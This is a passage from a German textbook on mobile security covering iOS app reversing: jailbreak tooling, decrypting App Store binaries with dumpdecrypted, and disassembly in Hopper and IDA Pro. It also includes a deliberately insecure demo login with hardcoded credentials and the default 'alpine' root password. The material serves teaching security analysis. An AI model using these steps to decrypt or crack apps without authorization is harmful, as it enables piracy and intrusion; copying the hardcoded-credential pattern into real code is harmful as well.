Das Hinzufügen von weiteren Paketquellen funktioniert wie in Abbildung 5–1<br />
beschrieben. Wir werden im weiteren Verlauf dieses Buches des Öfteren Gebrauch<br />
von dieser Funktion machen und die entsprechenden Quellen erwähnen.<br />
5.2.2 SSH und SCP<br />
Um mit dem iOS-Gerät zu interagieren, ist es notwendig, sich per SSH (Secure<br />
Shell) auf das Gerät zu verbinden (ähnlich wie wir es im Rahmen von Android<br />
mit adb vorgenommen haben). Dazu müssen wir in Cydia das Paket OpenSSH<br />
installieren (siehe Abbildung 5–2).<br />
Im restlichen Kapitel werden wir lediglich die folgenden beiden Befehle aus<br />
dem Paket OpenSSH verwenden:<br />
ssh: Mit diesem Befehl können wir uns auf das Gerät verbinden und dort eine<br />
Kommandozeile erhalten. Dies geschieht mittels:<br />
ssh root@<br />
scp: Mit diesem Befehl können wir Dateien zwischen dem iOS-Gerät und dem<br />
Analyserechner austauschen. Der Upload von Dateien auf das iOS-Gerät<br />
funktioniert dabei folgendermaßen:<br />
scp root@:<br />
<br />
1 Cydia: https://cydia.saurik.com/<br />
2 Pangu Jailbreak: http://en.pangu.io/<br />
3 TaiG Jailbreak: http://www.taig.com/en/
5.2 Wichtige Tools und Helfer 117<br />
Abb. 5–1: Hinzufügen von eigenen Paketquellen in Cydia
118 5 Reversing von iOS-Applikationen<br />
Abb. 5–2: OpenSSH-Paket in Cydia<br />
Sobald wir dieses Paket installiert haben, ist es enorm wichtig, die Passwörter zu<br />
ändern, da diese fest vergeben und bei jedem iOS-Gerät nach dem erfolgreichen<br />
Jailbreak identisch sind4 (siehe hierzu Codebeispiel 5–1).<br />
# Verbinden per SSH:<br />
$: ssh root@<br />
# Ändern des Passworts für den Nutzer root:<br />
$: passwd root<br />
Changing password for root.<br />
New password:<br />
Retype new password:<br />
# Ändern des Passworts für den Nutzer mobile:<br />
$: passwd mobile<br />
Changing password for mobile.<br />
New password:<br />
Retype new password:<br />
Codebeispiel 5–1: Änderung der Passwörter per SSH<br />
4 Das Passwort für die Benutzer root und mobile lautet alpine.
5.2 Wichtige Tools und Helfer 119<br />
Das Ändern der Passwörter ist auch notwendig, um erneute Malware- bzw.<br />
Wurm-Ausbrüche wie zu Beginn der Jailbreak-Zeit mit Ikee5 zu vermeiden.<br />
5.2.3 libimobiledevice<br />
In den meisten Anwendungsszenarien wird eine Verbindung per SSH über ein<br />
gemeinsames Wi-Fi-Netzwerk vorgenommen, was hierfür auch ausreichend ist.<br />
Sobald man jedoch größere Datenmengen übertragen möchte oder gar eine auf<br />
dem Gerät befindliche Applikation debuggen will, ist diese Verbindung sehr langsam<br />
und oft auch anfällig für Verbindungsabbrüche, die einem das Leben deutlich<br />
erschweren.<br />
Um diese Probleme zu umgehen, gibt es ein hilfreiches Werkzeug, das ursprünglich<br />
von Nikias Bassen entwickelt wurde und nun in einer Sammlung von<br />
Werkzeugen namens libimobiledevice6 aufgegangen ist. Dieses Tool erlaubt es,<br />
die SSH- oder später auch die Debugger-Verbindung über USB zu tunneln und<br />
somit wesentlich zu beschleunigen und Verbindungsabbrüche zu verhindern.<br />
Im folgenden Beispiel installieren wir die erforderlichen Pakete auf unserem<br />
OS-X-Analysesystem und verbinden uns per SSH auf das angeschlossene und gerootete<br />
iPhone (siehe Codebeispiel 5–2):<br />
# Installation von libimobiledevice über brew:<br />
$: brew install libimobiledevice<br />
# Umleiten des lokalen Ports 2222 auf Port 22 auf dem per USB verbundenen<br />
iPhone:<br />
$: iproxy 2222 22<br />
waiting for connection<br />
# Aufbau der SSH-Verbindung zum angeschlossenen iPhone:<br />
$: ssh root@localhost -p 2222<br />
# Kopieren des eigenen SSH-Public-Key auf das iPhone um zukünftige<br />
Passwortabfragen beim Aufbau der SSH-Verbindung zu vermeiden:<br />
$: ssh root@localhost -p 2222 'mkdir -p ~/.ssh && cat >> ~/.ssh/<br />
authorized_keys' < ~/.ssh/id_rsa.pub<br />
Codebeispiel 5–2: Installation von libimobiledevice und Aufbau einer SSH-Verbindung zum<br />
iPhone<br />
5 Ikee Wurm: http://forensics.spreitzenbarth.de/current-ios-malware/<br />
6 libimobiledevice: https://github.com/libimobiledevice/libimobiledevice
120 5 Reversing von iOS-Applikationen<br />
5.2.4 class-dump<br />
Das Kommandozeilentool class-dump7 analysiert die Objective-C-Runtime-Informationen<br />
aus den Mach-O-Dateien und extrahiert sämtliche Header der enthaltenen<br />
Class-Dateien. Dabei versucht es, diese von der Syntax her wieder sehr nah<br />
an die Originaldateien zu bringen, sodass ein einfaches Lesen durch den Analysten<br />
gewährleistet wird. class-dump erzeugt dabei wieder .h-Dateien, die mit<br />
herkömmlichen C-Editoren gelesen werden können.<br />
Die Syntax von class-dump ist dabei sehr einfach gehalten (siehe Codebeispiel<br />
5–3):<br />
class-dump 3.5 (64 bit)<br />
Usage: class-dump [options] <br />
where options are:<br />
-a show instance variable offsets<br />
-A show implementation addresses<br />
--arch choose a specific architecture from a universal binary<br />
(ppc, ppc64, i386, x86_64)<br />
-C only display classes matching regular expression<br />
-f find string in method name<br />
-H generate header files in current directory, or directory specified<br />
with -o<br />
-I sort classes, categories, and protocols by inheritance (overrides<br />
-s)<br />
-o output directory used for -H<br />
-r recursively expand frameworks and fixed VM shared libraries<br />
-s sort classes and categories by name<br />
-S sort methods by name<br />
-t suppress header in output, for testing<br />
--list-arches list the arches in the file, then exit<br />
--sdk-ios specify iOS SDK version (will look in /Developer/Platforms/<br />
iPhoneOS.platform/Developer/SDKs/iPhoneOS.sdk<br />
--sdk-mac specify Mac OS X version (will look in /Developer/SDKs/<br />
MacOSX.sdk<br />
--sdk-root specify the full SDK root path (or use --sdk-ios/--sdk-mac<br />
for a shortcut)<br />
Codebeispiel 5–3: Syntax von class-dump<br />
Um aus unserer Testapplikation alle Header zu extrahieren, verwenden wir folgende<br />
Vorgehensweise (siehe Codebeispiel 5–4):<br />
7 class-dump: http://stevenygard.com/projects/class-dump/
5.2 Wichtige Tools und Helfer 121<br />
# Suche des eigentlichen Executables unserer Applikation:<br />
$: plutil -p Test.app/Info.plist | grep CFBundleExecutable<br />
"CFBundleExecutable" => "Test"<br />
# Extrahieren der Header in das Verzeichnis out:<br />
$: class-dump -S -s -H Test.app/Test -o out<br />
Codebeispiel 5–4: Verwendung von class-dump, um aus einer unverschlüsselten iOS-<br />
Applikation die Header zu extrahieren<br />
Im so entstandenen Verzeichnis out finden wir nun alle Class-Datei-Header, die<br />
die Applikation verwendet. Da dies schnell mehrere Hundert oder gar tausend<br />
Dateien sind, hilft an dieser Stelle meist nur Erfahrung und Gespür weiter.<br />
Was man aus diesen Dateien jedoch recht gut ableiten kann, ist der grobe<br />
Aufbau – also die Architektur – der Applikation, um so Punkte zu identifizieren,<br />
die für das tiefere Reversing lohnenswert sind. Mehr Details hierzu finden Sie im<br />
weiteren Verlauf dieses Kapitels.<br />
5.2.5 dumpdecrypted<br />
Apple hat als Schutz für seine Applikationen die darin enthaltenen Executables<br />
(also die eigentliche Applikation) verschlüsselt. Dies schützt davor, dass man sie –<br />
wie bei Android – einfach vom Gerät herunterladen und analysieren oder auf einem<br />
anderen Gerät installieren kann. Aus diesem Grund funktioniert das zuvor<br />
gezeigte class-dump auch nur bei unverschlüsselten oder eigenentwickelten Applikationen.<br />
Wollen wir uns jedoch eine Applikation aus dem Apple Store oder einem iOS-<br />
Gerät genauer anschauen, müssen wir diese erst entschlüsseln. Dazu hat Stefan<br />
Esser das Tool dumpdecrypted8 entwickelt. Um es einsetzen zu können, müssen<br />
wir es jedoch zuerst kompilieren (siehe Codebeispiel 5–5):<br />
# Download des Quellcodes von dumpdecrypted:<br />
$: git clone git://github.com/stefanesser/dumpdecrypted/<br />
# Kompilieren von dumpdecrypted:<br />
$: make<br />
`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk<br />
iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/<br />
System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/<br />
System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -c<br />
-o dumpdecrypted.o dumpdecrypted.c<br />
8 dumpdecrypted: https://github.com/stefanesser/dumpdecrypted/
122 5 Reversing von iOS-Applikationen<br />
`xcrun --sdk iphoneos --find gcc` -Os -Wimplicit -isysroot `xcrun --sdk<br />
iphoneos --show-sdk-path` -F`xcrun --sdk iphoneos --show-sdk-path`/<br />
System/Library/Frameworks -F`xcrun --sdk iphoneos --show-sdk-path`/<br />
System/Library/PrivateFrameworks -arch armv7 -arch armv7s -arch arm64 -<br />
dynamiclib -o dumpdecrypted.dylib dumpdecrypted.o<br />
Codebeispiel 5–5: Download und kompilieren von dumpdecrypted<br />
Nun sollten wir eine Datei namens dumpdecrypted.dylib erhalten haben, die wir im<br />
späteren Verlauf dieses Kapitels benötigen, um eine Applikation aus dem Apple<br />
Store zu entschlüsseln.<br />
5.2.6 lipo<br />
lipo ist ein Tool, das in der Lage ist, aus einer iOS-Applikation auszulesen, für<br />
welche Prozessorarchitekturen ein Executable in ihr kompiliert ist und es kann<br />
die Applikation auch insoweit verändern, dass bestimmte Architekturen entfernt<br />
werden. Dies ist gerade dann interessant, wenn man die Applikation mit Tools<br />
manipulieren möchte, die eine bestimmte Prozessorarchitektur nicht unterstützen.<br />
Dies kommt vor allem auf neueren Geräten und aktuellen iOS-Versionen vor, die<br />
bereits arm64 verwenden.<br />
Codebeispiel 5–6 zeigt, wie man mittels lipo alle enthaltenen Architekturen<br />
anzeigen lassen kann, wohingegen Codebeispiel 5–7 angibt, wie man alle nicht<br />
benötigten Architekturen aus der gepackten Applikation entfernen kann.<br />
$: lipo -info Test.decrypted<br />
Architectures in the fat file: Test.decrypted are: armv7 arm64<br />
Codebeispiel 5–6: Anzeigen der enthaltenen Prozessorarchitekturen mittels lipo<br />
$: lipo -thin armv7 -output Test-v7.decrypted Test.decrypted<br />
Codebeispiel 5–7: Löschen nicht benötigter Prozessorarchitekturen mittels lipo<br />
5.2.7 cycript<br />
cycript9 ist eine interaktive Konsole, die an jeden aktuell laufenden Prozess oder<br />
jede Applikation auf iOS angedockt werden kann, um diese damit zu manipulieren<br />
oder zumindest mit ihr zu interagieren. Dabei verwendet cycript eine Mischung<br />
aus der Objective-C++- und der JavaScript-Syntax. Um cycript auf einem<br />
iOS-Gerät verwenden zu können, müssen wir in Cydia das Paket cycript installieren<br />
(siehe Abbildung 5–3).<br />
9 cycript: http://www.cycript.org/
5.2 Wichtige Tools und Helfer 123<br />
Abb. 5–3: cycript-Paket in Cydia<br />
Ist die Installation erfolgreich gewesen, können wir uns wieder wie gewohnt per<br />
SSH auf das Endgerät verbinden und dort die cycript-Konsole starten. Codebeispiel<br />
5–8 zeigt, wie man die Konsole startet, und gibt in einem einfachen Beispiel<br />
einen ersten Einblick in die Mächtigkeit von cycript:<br />
# Starten der cycript-Konsole:<br />
$: cycript<br />
cy#<br />
# Erstellen eines einfachen Pop-up-Fensters:<br />
cy# var alert = [[UIAlertView alloc] initWithTitle:@"<strong>Hacking</strong> <strong>Mobile</strong>" message:<br />
@"Ein herzliches ''Hallo'' an den Analysten!" delegate:nil<br />
cancelButtonTitle:@"OK" otherButtonTitles:nil]<br />
#""<br />
cy# [alert show]<br />
# Beenden der cycript-Konsole:<br />
ctrl + d<br />
Codebeispiel 5–8: Erste Verwendung von cycript
124 5 Reversing von iOS-Applikationen<br />
Mit cycript ist noch eine ganze Menge mehr möglich, was wir im Verlauf dieses<br />
Kapitels – und besonders auch in Kapitel 6 – demonstrieren werden, um damit<br />
zum einen tiefer gehende Informationen über iOS-Applikationen zu erhalten, aber<br />
zum anderen auch, um direkt Schwachstellen in ihnen zu erkennen und auszunutzen.<br />
5.3 Beschaffen der zu untersuchenden Applikation<br />
Um eine Applikation von einem iOS-Gerät auf den Analyserechner zu bekommen,<br />
benötigen wir mehrere Schritte. Das ideale Vorgehen ist wie folgt:<br />
1. Auffinden der Applikation selbst<br />
2. Auffinden des Dokumentenverzeichnisses der Applikation<br />
3. Entschlüsseln der Applikation<br />
4. Übertragen der Applikation auf den Analyserechner<br />
5.3.1 Auffinden der Applikation selbst<br />
iOS speichert die Applikationen im Dateisystem unter dem Pfad /var/mobile/<br />
Containers/Bundle/Application/ ab. Das Problem ist, die sogenannte<br />
unique_id ausfindig zu machen, denn diese lässt sich nicht aus der Applikation<br />
ableiten.<br />
Der einfachste Weg hierzu ist, die gewünschte Applikation zu starten und sich<br />
im Anschluss per SSH auf das iOS-Gerät zu verbinden. Sobald wir auf dem iOS-<br />
Gerät eingeloggt sind, suchen wir mithilfe von ps nach dem laufenden Prozess<br />
unserer Applikation und erhalten als Zugabe das Verzeichnis, in der ihr Executable<br />
liegt (siehe Codebeispiel 5–9):<br />
$: ps -e | grep Test.app<br />
1392 ?? 0:02.38 /var/mobile/Containers/Bundle/Application/DFA9B5E3-0DD4-438E<br />
-94D1-17FF70189B43/Test.app/Test<br />
Codebeispiel 5–9: Verwendung von ps zum Auffinden der Applikation selbst<br />
Sollten wir uns beim Namen der gesuchten Applikation nicht sicher sein, so können<br />
wir auch einfach nach .app/ suchen. Wir erhalten dann zwar mehr Treffer,<br />
aber je nach Anzahl an aktuell laufenden Applikationen lässt sich sehr schnell der<br />
gesuchte Pfad finden.<br />
In unserem Fall müssen wir uns den Pfad /var/mobile/Containers/Bundle/<br />
Application/DFA9B5E3-0DD4-438E-94D1-17FF70189B43/ merken. Diesen benötigen<br />
wir in Schritt 3 (Abschnitt 5.3.3) wieder.
5.3 Beschaffen der zu untersuchenden Applikation 125<br />
5.3.2 Auffinden des Dokumentenverzeichnisses der Applikation<br />
Als Nächstes brauchen wir noch das zugehörige Dokumentenverzeichnis der Applikation,<br />
da sie im Regelfall nur dort Schreibrechte besitzt und wir diese zum<br />
Entschlüsseln des Executables benötigen. Dies geht am schnellsten mithilfe von<br />
cycript. Dazu gehen wir wie folgt vor (siehe Codebeispiel 5–10):<br />
$: cycript -p Test<br />
cy# [[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory<br />
inDomains:NSUserDomainMask][0]<br />
#"file:///var/mobile/Containers/Data/Application/2B3B8593-1B03-4148-A132-<br />
B52BC1439D52/Documents/"<br />
Codebeispiel 5–10: Verwendung von cycript zum Auffinden des Dokumentenverzeichnisses<br />
der Applikation<br />
Nun haben wir den zweiten Pfad, den wir für das eigentliche Entschlüsseln des<br />
Executables benötigen: /var/mobile/Containers/Data/Application/2B3B8593-1B03-<br />
4148-A132-B52BC1439D52/Documents/<br />
Auf manchen iOS 9-Endgeräten ist es nicht ohne Weiteres möglich, per scp in<br />
das Dokumentenverzeichnis zu schreiben. In diesen Fällen konnte jedoch direkt<br />
in das Homeverzeichnis des root-Nutzers geschrieben werden. Für diesen Fall ist<br />
einfach das Dokumentenverzeichnis durch /var/root/ zu ersetzen.<br />
5.3.3 Entschlüsseln der Applikationen<br />
Zum Entschlüsseln der Applikation bzw. dessen Executables kopieren wir die in<br />
Abschnitt 5.2.5 generierte dumpdecrypted.dylib auf das iOS-Gerät in das Dokumentenverzeichnis:<br />
$: scp -P 2222 dumpdecrypted.dylib root@localhost:/var/mobile/Containers/Data<br />
/Application/2B3B8593-1B03-4148-A132-B52BC1439D52/Documents/<br />
dumpdecrypted.dylib 100% 193KB 192.9KB/s 00:00<br />
Codebeispiel 5–11: Übertragen der dumpdecrypted.dylib auf das Endgerät<br />
Danach verbinden wir uns wieder per SSH mit dem iOS-Gerät und wechseln in<br />
das Dokumentenverzeichnis. Dort starten wir die Entschlüsselung wie in Codebeispiel<br />
5–12 gezeigt:<br />
$: DYLD_INSERT_LIBRARIES=dumpdecrypted.dylib /var/mobile/Containers/Bundle/<br />
Application/DFA9B5E3-0DD4-438E-94D1-17FF70189B43/Test.app/Test<br />
mach-o decryption dumper
126 5 Reversing von iOS-Applikationen<br />
DISCLAIMER: This tool is only meant for security research purposes, not for<br />
application crackers.<br />
[+] detected 32bit ARM binary in memory.<br />
[+] offset to cryptid found: @0x81a4c(from 0x81000) = a4c<br />
[+] Found encrypted data at address 00004000 of length 17678336 bytes - type<br />
1.<br />
[+] Opening /private/var/mobile/Containers/Bundle/Application/DFA9B5E3-0DD4<br />
-438E-94D1-17FF70189B43/Test.app/Test for reading.<br />
[+] Reading header<br />
[+] Detecting header type<br />
[+] Executable is a FAT image - searching for right architecture<br />
[+] Correct arch is at offset 16384 in the file<br />
[+] Opening Test.decrypted for writing.<br />
[+] Copying the not encrypted start of the file<br />
[+] Dumping the decrypted data into the file<br />
[+] Copying the not encrypted remainder of the file<br />
[+] Setting the LC_ENCRYPTION_INFO->cryptid to 0 at offset 4a4c<br />
[+] Closing original file<br />
[+] Closing dump file<br />
Codebeispiel 5–12: Entschlüsseln des Executables mittels dumpdecrypted<br />
Hat alles funktioniert, haben wir nun eine Datei namens Test.decrypted im Dokumentenverzeichnis.<br />
5.3.4 Übertragen der Applikation auf den Analyserechner<br />
Die so erzeugte entschlüsselte Version unserer Applikation können wir nun<br />
wieder mit scp auf unseren Analyserechner übertragen (siehe dazu Codebeispiel<br />
5–13):<br />
$: scp -P 2222 root@localhost:/var/mobile/Containers/Data/Application/<br />
2B3B8593-1B03-4148-A132-B52BC1439D52/Documents/Test.decrypted .<br />
Test.decrypted 100% 45MB 11.4MB/s 00:04<br />
Codebeispiel 5–13: Übertragen der Test.decrypted auf den Analyserechner<br />
Diese Datei können wir nun mit einem Decompiler unserer Wahl weiter analysieren<br />
oder mittels Tools wie otool und class-dump erste Informationen über die<br />
Applikation erlangen.
5.4 Werkzeuge zum Analysieren der Applikationen 127<br />
5.4 Werkzeuge zum Analysieren der Applikationen<br />
In den vorangegangenen Schritten haben wir die Applikation, die wir analysieren<br />
möchten, auf dem Gerät lokalisiert und die Entschlüsselung sowie das »Abspecken«<br />
erfolgreich durchgeführt. Nun folgt die eigentliche Arbeit: das Reversing.<br />
Dies ist bei iOS deutlich aufwendiger, als wir es bei Android gesehen hatten, was<br />
hauptsächlich daran liegt, dass wir es im Folgenden mit sehr komplexen Tools<br />
zu tun haben und mit einer Sprache – Assembly –, die sich doch deutlich von der<br />
Syntax der Applikations-Programmiersprachen unterscheidet.<br />
Für das Beispiel zum Reversing verwenden wir eine kleine Applikation, die<br />
ein Login-Fenster besitzt und gegen eine fest hinterlegte Benutzerkennung prüft<br />
(so sollte keine reale Applikation einen Nutzer authentifizieren). Diese Applikation<br />
ist in Objective-C geschrieben, da einige der Tools aktuell noch Probleme<br />
mit in Swift geschriebenen Applikationen haben. Den entscheidenden Teil des<br />
Quellcodes sehen wir in Codebeispiel 5–14:<br />
- (IBAction)sigininClicked:(id)sender {<br />
NSInteger success = 0;<br />
@try {<br />
if([[self.txtUsername text] isEqualToString:@""]<br />
|| [[self.txtPassword text] isEqualToString:@""] ) {<br />
[self alertStatus:@"Please enter Email and Password"<br />
:@"Sign in Failed!" :0];<br />
} else {<br />
if([[self.txtUsername text] isEqualToString:@"analyst"]<br />
&& [[self.txtPassword text] isEqualToString:@"secret"] ) {<br />
success = 1;<br />
NSLog(@"Success: %ld",(long)success);<br />
} else {<br />
[self alertStatus:@"Please enter Email and Password"<br />
:@"Sign in Failed!" :0];<br />
}<br />
if(success == 1)<br />
{<br />
NSLog(@"Login SUCCESS");<br />
} else {<br />
NSLog(@"Login FAILED");<br />
}<br />
}<br />
}
128 5 Reversing von iOS-Applikationen<br />
}<br />
@catch (NSException * e) {<br />
NSLog(@"Exception: %@", e);<br />
[self alertStatus:@"Sign in Failed." :@"Error!" :0];<br />
}<br />
if (success) {<br />
[self performSegueWithIdentifier:@"login_success" sender:self];<br />
}<br />
Codebeispiel 5–14: Entscheidender Teil des Quellcodes unserer Demo-Applikation<br />
5.4.1 Hopper<br />
Hopper oder auch Hopperapp ist ein sehr mächtiges Werkzeug, um iOS-Applikationen<br />
zu disassembeln – also aus den opcodes die passende Assembly-Sprache zu<br />
erzeugen – oder einzelne Methoden mit dem eingebauten Decompiler in Pseudocode<br />
umzuwandeln. Im Wesentlichen sind die Funktionen sehr ähnlich zu dem,<br />
was auch IDA Pro bei iOS-Applikationen bieten kann. Die Lizenz für Privatpersonen<br />
ist jedoch für gerade mal 90 Euro (Stand Januar 2016) zu bekommen, was<br />
es für diese Zielgruppe deutlich interessanter macht als IDA Pro (Lizenzen ab<br />
2.000 Euro – je nach Umfang).<br />
Laut dem Hersteller ist Hopper ein Reversing-Tool für OS X, Linux und<br />
Windows, das in der Lage ist, 32/64Bit-Intel-Mac-, Windows- und iOS-ARM-<br />
Executables zu disassembeln, und gerade bei Executables, die auf Objective-C<br />
beruhen, liefert der eingebaute Decompiler sehr gute Ergebnisse, wie wir später<br />
noch sehen werden.<br />
Wie wir in Abbildung 5–4 erkennen können, ist das Fenster in die folgenden<br />
vier Teile gegliedert:<br />
■<br />
■<br />
■<br />
■<br />
Links: Übersicht aller gefundenen Labels und Strings und der Suchfunktion<br />
Mitte: Prozessorinstruktionen und zugehörige Speicheradressen<br />
Rechts: Metainformationen über das Executable<br />
Oben: Die Menüleiste mit den wichtigsten Shortcuts von Hopper; besonders<br />
interessant sind hier die Schaltflächen auf der rechten Seite<br />
Über die Suchfunktion auf der linken Seite des Fensters suchen wir nun nach dem<br />
ViewController, der signinClicked im Namen hat. Aus den Hinweisen zu Beginn<br />
des Abschnittes wissen wir, dass hier die interessanten Inhalte versteckt sind. Alternativ<br />
könnten wir auch nach dem String Please enter Email and Password suchen,<br />
den wir von einem erfolglosen Login kennen.<br />
Die entsprechende Stelle zeigt Abbildung 5–5. Hier erkennen wir sehr schön,<br />
dass Assembly auf den ersten Blick recht wenig mit der ursprünglichen Syntax zu<br />
tun hat. In dieser Abbildung sehen wir auch die klassische Ansicht des Assemblers:
5.4 Werkzeuge zum Analysieren der Applikationen 129<br />
Abb. 5–4: Hopper
130 5 Reversing von iOS-Applikationen<br />
Abb. 5–5: Der gesuchte ViewController als Assembly-Code in Hopper<br />
■<br />
■<br />
■<br />
Die Speicheradresse<br />
Die Prozessorinstruktionen in Assembly<br />
Und mit das Wichtigste: der Kommentar mit oft sehr hilfreichen Hinweisen<br />
Durch Klicken auf den mit if(b) f(x); beschrifteten Knopf (rechts oben in der<br />
Menüleiste) können wir Hopper dazu bringen, dass er versucht, den Assemblycode<br />
in Pseudocode zu übersetzen (also zu dekompilieren). Dies macht es für Analysten,<br />
für die die Assembly-Sprache neu ist, deutlich einfacher, die Applikation zu<br />
verstehen. Den entscheidenden Teil des Ergebnisses sehen wir in Abbildung 5–6.<br />
Hier sind der fest hinterlegte Nutzername (analyst) und das zugehörige Passwort<br />
(secret) enthalten. Ein Login in die Applikation ist nun also für uns möglich.<br />
Aber auch hier sieht man, dass der Pseudocode stark vom eigentlichen Quellcode<br />
abweicht. Dies ist mit einer der größten Unterschiede zu Android, wo eine<br />
Rückgewinnung des ursprünglichen Quellcodes (oder zumindest sehr nahe daran)<br />
möglich war.<br />
In dieser Abbildung sehen wir vereinfacht, wie die Applikation vorgeht:<br />
■ Die Applikation liest die Nutzereingabe in das Feld txtUsername in die Variable<br />
var_C4 ein.<br />
■ Im Anschluss lädt sie den Inhalt dieser Variablen in das Register r0.<br />
■ Danach vergleicht sie den Inhalt des Registers r0 mit dem festen String analyst<br />
und speichert das Ergebnis dieses Vergleichs in der Variablen var_D4.
5.4 Werkzeuge zum Analysieren der Applikationen 131<br />
Abb. 5–6: Der gesuchte ViewController als Pseudocode in Hopper<br />
■<br />
■<br />
■<br />
■<br />
In der If-Abfrage wandelt sie den Inhalt aus var_D4 in Hex um und vergleicht<br />
ihn mit 0x0. Im Wesentlichen wird hier geprüft, ob der Vergleich aus der Zeile<br />
darüber ein True ergeben hat, also die Eingabe des Nutzernamens korrekt<br />
war.<br />
In den kommenden 4 Zeilen wird eine ähnliche Prüfung mit dem Passwort<br />
durchgeführt. Die einzige Besonderheit ist hier, dass nun 0x1, also True, in das<br />
Register r1 und von dort in die Variable var_D8 geschrieben wird.<br />
Im weiteren Verlauf wird der Inhalt dieser Variablen auf True geprüft und<br />
eine Reihe von Logausgaben vorgenommen.<br />
Die letzte If-Abfrage prüft nun nochmals, ob auch wirklich Passwort und<br />
Nutzername korrekt waren, und leitet den Nutzer dann auf die nächste View<br />
um. Nun ist der Nutzer eingeloggt.<br />
Neben diesen Funktionen bietet Hopper auch noch die Möglichkeit, einen Control-Flow-Graphen<br />
(CFG) zu erstellen. Dieser hilft bei manchen Applikationen,<br />
den Überblick über die Applikation und deren Verlauf zu bekommen, kann aber<br />
schnell sehr groß und unübersichtlich werden.<br />
Eine der letzten wichtigen Funktionen ist das Debuggen von Applikationen<br />
zur Laufzeit. Hierbei lässt sich ein iOS-Gerät direkt über den Debugger mit Hopper<br />
verbinden und man kann somit stückchenweise durch den Code springen,<br />
bis man an den interessanten Stellen angekommen ist. Dies ist immer dann hilf-
132 5 Reversing von iOS-Applikationen<br />
reich, wenn die Applikation sehr groß ist oder man nicht genau weiß, wo die<br />
interessanten Daten oder Abfragen im Code versteckt sind.<br />
5.4.2 IDA Pro<br />
Obwohl Tools wie Hopper oder auch radare2 deutlich günstiger sind als IDA<br />
Pro, hat sich IDA Pro als der Industriestandard durchgesetzt und wird nahezu<br />
von jedem professionellen Analysten oder Malware-Forscher verwendet.<br />
Wie wir in Abbildung 5–7 sehen können, ist das Fenster von IDA Pro mit der<br />
dekompilierten Applikation in die folgenden vier Teile gegliedert:<br />
■<br />
■<br />
■<br />
■<br />
Links: Übersicht aller gefundenen Funktionen innerhalb der dekompilierten<br />
Applikation<br />
Links unten: Die Graphendarstellung mit dem Programmfluss<br />
Mitte: Prozessorinstruktionen (Graphendarstellung)<br />
Oben: Die Menüleiste mit den wichtigsten Shortcuts von IDA Pro und den<br />
verschiedenen Fenstern, die standardmäßig geladen werden<br />
Wie wir schon bei Hopper im Abschnitt zuvor gesehen haben, können wir auch<br />
bei IDA Pro nach dem ViewController mit dem Namen signinClicked suchen. An<br />
dieser Stelle gehen wir aber einen anderen Weg, der ans selbe Ziel führt: Wir<br />
schauen uns die in der Applikation hinterlegten Strings an (siehe dazu Abbildung<br />
5–8).<br />
Finden wir hier interessante Strings – wie z. B. analyst –, so können wir diese<br />
für die Suche verwenden und uns die passenden Stellen im dekompilierten Quellcode<br />
anschauen. Die Abbildungen 5–9 und 5–10 zeigen die damit gefundene Stelle<br />
im Graphen und den weiteren Verlauf des Programmflusses.<br />
Hier erkennt man, dass die Applikation erst den Usernamen gegen den String<br />
analyst prüft und im Fall, dass dieser Vergleich erfolgreich ist, wird das eingegebene<br />
Passwort mit dem String secret verglichen. Erst wenn auch dieser Vergleich<br />
erfolgreich ist, wird der Nutzer an die nächste Oberfläche innerhalb der Applikation<br />
weitergeleitet und die Logmeldung Login SUCCESS wird abgesetzt.<br />
Was man hier sehr schön sehen kann, ist die Funktionsweise der Graphendarstellung,<br />
die auch gerade für Anfänger und eher ungeübte Nutzer von IDA<br />
Pro sehr hilfreich sein kann, um einen ersten Überblick über die Applikation und<br />
ihre Funktionen zu bekommen. Oft sieht man hier auch, auf welche Werte eine<br />
Applikation prüft und wann sie welche Wege im Programmfluss einschlägt.<br />
Ein weiteres Feature von IDA Pro – auf das wir hier nicht weiter eingehen –<br />
ist die Anbindung der eigenen API an externe Python-Skripte mittels IDAPython.<br />
Damit ist es möglich, IDA Pro aus eigenen Python-Skripten zu steuern und somit<br />
Funktionen, die man öfters benötigt oder automatisieren möchte, auszulagern.
5.4 Werkzeuge zum Analysieren der Applikationen 133<br />
Abb. 5–7: IDA Pro
134 5 Reversing von iOS-Applikationen<br />
Abb. 5–8: IDA Pro-Ansicht aller fest in der Applikation hinterlegten Strings<br />
Abb. 5–9: IDA Pro-Graphendarstellung der Prüfung von Usernamen und Passwort<br />
Dies kann die tägliche Arbeit mit IDA Pro erheblich erleichtern. Ein sehr gutes<br />
Beispiel hierzu findet man in einer Serie von Blogeinträgen der Firma Paloalto10.<br />
10 Using IDAPython to make your life easier: http://researchcenter.paloaltonetworks.<br />
com/2015/12/using-idapython-to-make-your-life-easier-part-1/
5.5 Zusammenfassung 135<br />
Abb. 5–10: IDA Pro-Graphendarstellung der Prüfung von Passwort und Weiterleitung an die<br />
»Success«-Funktion<br />
5.5 Zusammenfassung<br />
In diesem Kapitel wurde versucht, die Chancen, aber auch die Grenzen, von Reversing<br />
bzw. statischer Analyse aufzuzeigen. Wie auch schon bei Android gesehen,<br />
sollte jedem Analysten klar sein, dass man nicht ohne dieses Wissen auskommt,<br />
dass Reversing jedoch auch nicht die Lösung aller Probleme ist.<br />
In Abschnitt 5.1 wurde ein kurzer Workflow dargestellt, wie man bei der<br />
statischen Analyse als Sicherheitsanalyst vorgehen kann, um an eine verständliche<br />
Repräsentation des Applikationscodes zu gelangen. Dabei haben wir die gängigen<br />
Werkzeuge kennengelernt, mit denen man eine Applikation analysieren kann,<br />
ohne sie selbst ausführen zu müssen: Hopper und IDA Pro.<br />
Wie man an diesen Beispielen ganz gut erkennen kann, ist für die Analyse<br />
einer iOS-Applikation deutlich mehr an Vorwissen nötig, als es für eine vergleichbare<br />
Android-Applikation der Fall wäre. Dies liegt vor allem an der Komplexität<br />
einiger der gezeigten Werkzeuge, aber auch an der Notwendigkeit, Assembler-<br />
Sprache verstehen zu können.
137<br />
6 Sicherheitsprobleme bei<br />
iOS-Applikationen<br />
Wie schon bei Android gibt es auch bei iOS eine Vielzahl an Applikationen und<br />
fast ebenso viele Fehler, die ein Entwickler in eine Applikation einbauen kann.<br />
Apple versucht an dieser Stelle durch Anpassungen an der IDE und den API-<br />
Schnittstellen den Entwicklern zu helfen, aber leider schützt dies nicht gegen alle<br />
